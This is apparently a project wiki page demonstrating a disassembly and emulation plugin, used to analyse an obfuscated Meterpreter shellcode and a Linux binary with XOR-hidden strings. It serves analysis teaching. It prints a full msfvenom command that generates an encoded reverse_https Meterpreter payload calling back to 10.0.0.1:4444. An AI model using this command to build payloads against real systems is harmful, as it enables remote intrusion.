Skip to content

Use case 5 Code emulation

Nobutaka Mantani edited this page Apr 18, 2021 · 6 revisions

In this use case, Two sample files are analyzed to show capability of "Emulate code" plugin.

First sample file (obfuscated Windows shellcode)

The first sample file is an obfuscated Windows shellcode file (obfuscated-windows-shellcode.bin). It is generated with msfvenom.

root@kali:~# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https -e x86/xor_dynamic --format raw -o obfuscated-windows-shellcode.bin LHOST=10.0.0.1 LPORT=4444
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/xor_dynamic
x86/xor_dynamic succeeded with size 647 (iteration=0)
x86/xor_dynamic chosen with final size 647
Payload size: 647 bytes
Saved as: obfuscated-windows-shellcode.bin
root@kali:~#

The content of obfuscated-windows-shellcode.bin is like this.

1.png

Use Disassembe plugin to disassemble the shellcode.

2.png

Select x86 for CPU architecture. Disassemble plugin is powered by Capstone and supports disassembly of code of x64, x86, ARM, ARM64, MIPS, PowerPC, PowerPC64 and SPARC.

3.png

The shellcode is disassembled. It decodes itself and jumps to decoded code.

4.png

The location of the end of disassembly is offset 0x5d and it is bookmarked with red.

5.png

Use "Emulate code" plugin to see behavior of the shellcode.

6.png

"Emulate code" plugin is a simple front end of Qiling Framework. "Emulate code" plugin supports emulation of shellcode and executable file of the following environment:

  • Windows (x64 and x86)
  • Linux (x64, x86, ARM, ARM64, MIPS)

7.png

Emulation trace is shown in Output pane and memory dumps are taken and shown in new tabs. Regions that contains non-zero value are bookmarked to make it easy to jump to the regions.

8.png

The trace is as follows. It is found that C2 server IP address is 10.0.0.1 and port number is 4444 from the arguments of InternetConnectA().

Emulated the whole file as shellcode.

Emulation settings:
File type: shellcode
OS: Windows
Architecture: x86
Big endian: false
Command line arguments: 
Timeout: 60

Emulation trace:
[+]	Profile: Default
[+]	Map GDT at 0x30000 with GDT_LIMIT=4096
[+]	Write to 0x30018 for new entry b'\x00\xf0\x00\x00\x00\xfeO\x00'
[+]	Write to 0x30028 for new entry b'\x00\xf0\x00\x00\x00\x96O\x00'
[+]	Write to 0x30070 for new entry b'\x00`\x00`\x00\xf6@\x00'
[+]	Write to 0x30078 for new entry b'\x00\x00\x00\x00\x00\xf6@\x06'
[+]	Windows Registry PATH: Misc\qiling-master\examples\rootfs\x86_windows\Windows\registry
[=]	Initiate stack address at 0xfffdd000 
[=]	TEB addr is 0x6000
[=]	PEB addr is 0x6044
[=]	Loading Misc\qiling-master\examples\rootfs\x86_windows\Windows\System32\ntdll.dll to 0x10000000
[!]	Warnings while loading Misc\qiling-master\examples\rootfs\x86_windows\Windows\System32\ntdll.dll:
[!]	 - SizeOfHeaders is smaller than AddressOfEntryPoint: this file cannot run under Windows 8.
[!]	 - AddressOfEntryPoint lies outside the sections' boundaries. AddressOfEntryPoint: 0x0
[=]	Done with loading Misc\qiling-master\examples\rootfs\x86_windows\Windows\System32\ntdll.dll
[=]	Loading Misc\qiling-master\examples\rootfs\x86_windows\Windows\System32\kernel32.dll to 0x101a3000
[=]	Done with loading Misc\qiling-master\examples\rootfs\x86_windows\Windows\System32\kernel32.dll
[=]	Loading Misc\qiling-master\examples\rootfs\x86_windows\Windows\System32\user32.dll to 0x10288000
[=]	Done with loading Misc\qiling-master\examples\rootfs\x86_windows\Windows\System32\user32.dll
[=]	Loading Misc\qiling-master\examples\rootfs\x86_windows\Windows\System32\wininet.dll to 0x1041e000
[=]	Done with loading Misc\qiling-master\examples\rootfs\x86_windows\Windows\System32\wininet.dll
[+]	0x101c3bd0: LoadLibraryA(lpLibFileName = "wininet") = 0x1041e000
[+]	0x106c0320: InternetOpenA(lpszAgent = "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko", dwAccessType = 0x0, lpszProxy = 0x0, lpszProxyBypass = 0x0, dwFlags = 0x0)
[+]	0x10725fd0: InternetConnectA(hInternet = 0x106c0320, lpszServerName = "10.0.0.1", nServerPort = 0x115c, lpszUserName = 0x0, lpszPassword = 0x0, dwService = 0x3, dwFlags = 0x0, dwContext = 0x0)
[+]	Syscalls called:
[+]	LoadLibraryA:
[+]	  {"params": {"lpLibFileName": "wininet"}, "retval": 272752640, "address": 270285776, "retaddr": 262357, "position": 0}
[+]	InternetOpenA:
[+]	  {"params": {"lpszAgent": "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko", "dwAccessType": 0, "lpszProxy": 0, "lpszProxyBypass": 0, "dwFlags": 0}, "retval": null, "address": 275514144, "retaddr": 262438, "position": 1}
[+]	InternetConnectA:
[+]	  {"params": {"hInternet": 275514144, "lpszServerName": "10.0.0.1", "nServerPort": 4444, "lpszUserName": 0, "lpszPassword": 0, "dwService": 3, "dwFlags": 0, "dwContext": 0}, "retval": null, "address": 275931088, "retaddr": 262629, "position": 2}
[+]	Registries accessed:
[+]	Strings:
[+]	wininet: 0
[+]	Mozilla/5.0: 1
[+]	(Windows: 1
[+]	NT: 1
[+]	6.1;: 1
[+]	Trident/7.0;: 1
[+]	rv:11.0): 1
[+]	like: 1
[+]	Gecko: 1
[+]	10.0.0.1: 2

Memory map:
Start      End        Perm.  Path
00006000 - 0000c000 - rwx    [FS/GS]
00030000 - 00031000 - rwx    [GDT]
00040000 - 00a40000 - rwx    [shellcode_base]
05000000 - 05001000 - rwx    [heap]
06000000 - 0c000000 - rwx    [FS/GS]
10000000 - 101a3000 - rwx    ntdll.dll (Misc\qiling-master\examples\rootfs\x86_windows\Windows\System32\ntdll.dll)
101a3000 - 10288000 - rwx    kernel32.dll (Misc\qiling-master\examples\rootfs\x86_windows\Windows\System32\kernel32.dll)
10288000 - 1041e000 - rwx    user32.dll (Misc\qiling-master\examples\rootfs\x86_windows\Windows\System32\user32.dll)
1041e000 - 10878000 - rwx    wininet.dll (Misc\qiling-master\examples\rootfs\x86_windows\Windows\System32\wininet.dll)
fffdd000 - ffffe000 - rwx    [stack]

Extracted region [shellcode_base] (start: 0x40000 end: 0xa40000 size: 10485760) as Memory dump 0
Extracted region [stack] (start: 0xfffdd000 end: 0xffffe000 size: 135168) as Memory dump 1
Extracted region [heap] (start: 0x5000000 end: 0x5001000 size: 4096) as Memory dump 2

File system events in rootfs (creation, deletion, modification and move):
[Modified] C:\Users\user\Documents\McAfee FileInsight\plugins\Operations\Misc\qiling-master\examples\rootfs\x86_windows\Windows\System32\user32.dll

Added bookmarks to the region that contains non-zero value.
Memory dumps after execution are shown in the new "Memory dump" tabs.

The memory region "[shellcode_base]" (Memory dump 0) contains deobfuscated shellcode and user agent string "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko", and C2 server IP address "10.0.0.1" are visible.

9.png

"Emulate code" plugin can be used for analyzing self-modifying shellcode like this. 😉


Second sample file (Linux executable file with obfuscated text strings)

The second sample file is a Linux executable file that is created for this use case. The file is compiled from the following simple C code. There are two obfuscated text strings in this code. The first text string is created by setting characters one by one to prevent from revealing the text string with strings command or something like that. The second text strings is obfuscated with XOR. The second text string is decoded and stored in the array "plain".

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char *msg;

    msg = malloc(64);
    msg[0] = 'T';
    msg[1] = 'h';
    msg[2] = 'i';
    msg[3] = 's';
    msg[4] = ' ';
    msg[5] = 'm';
    msg[6] = 'e';
    msg[7] = 's';
    msg[8] = 's';
    msg[9] = 'a';
    msg[10] = 'g';
    msg[11] = 'e';
    msg[12] = ' ';
    msg[13] = 'o';
    msg[14] = 'n';
    msg[15] = 'l';
    msg[16] = 'y';
    msg[17] = ' ';
    msg[18] = 'e';
    msg[19] = 'x';
    msg[20] = 'i';
    msg[21] = 's';
    msg[22] = 't';
    msg[23] = 's';
    msg[24] = ' ';
    msg[25] = 'i';
    msg[26] = 'n';
    msg[27] = ' ';
    msg[28] = 'm';
    msg[29] = 'e';
    msg[30] = 'm';
    msg[31] = 'o';
    msg[32] = 'r';
    msg[33] = 'y';
    msg[34] = '.';
    msg[35] = '\0';

    char secret[] = "\x98\xa4\xa5\xbf\xec\xa1\xa9\xbf\xbf\xad\xab\xa9\xec\xa5\xbf\xec\xa3\xae\xaa\xb9\xbf\xaf\xad\xb8\xa9\xa8\xec\xbb\xa5\xb8\xa4\xec\x94\x83\x9e\xe2\xcc";
    char *plain;
    char key = 0xcc;
    int i;

    plain = malloc(64);

    for (i = 0; i < sizeof(secret); i++) {
        plain[i] = secret[i] ^ key;
    }

    return 0;
}

Open the executable file (heap-string) with FileInsight.

10.png

Use "Emulate code" plugin.

11.png

Setting of plugin is as follows:

12.png

The memory region "[brk]" (Memory dump 4) contains deobfuscated text strings. The first one is "This message only exists in memory." and the second one is "This message is obfuscated with XOR."

13.png

14.png

"Emulate code" can be used for finding deobfuscated text strings. 😎 However, "Emulate code" plugin is able to reveal only part of deobfuscated text strings with another version of this sample C code that stores text strings in stack. 😅 So this example is a fortunate case. "Emulate code" plugin is a simple front end of Qiling Framework and sometimes fails emulation due to various reasons such as unimplemented APIs and necessity of register value initialization. For such cases, please write your own emulation Python script with Qiling Framework. Qiling Framework is very powerful framework and there are many writeups of malware analysis with it.

Note

"Emulate code" plugin used in this use case is slightly modified after release of FileInsight-plugins version 2.10 to get memory dump of "[brk]" memory region. If you use version 2.10 and you would like to try these examples in your environment, please replace plugins\Operations\Misc\emulate_code.py with new one.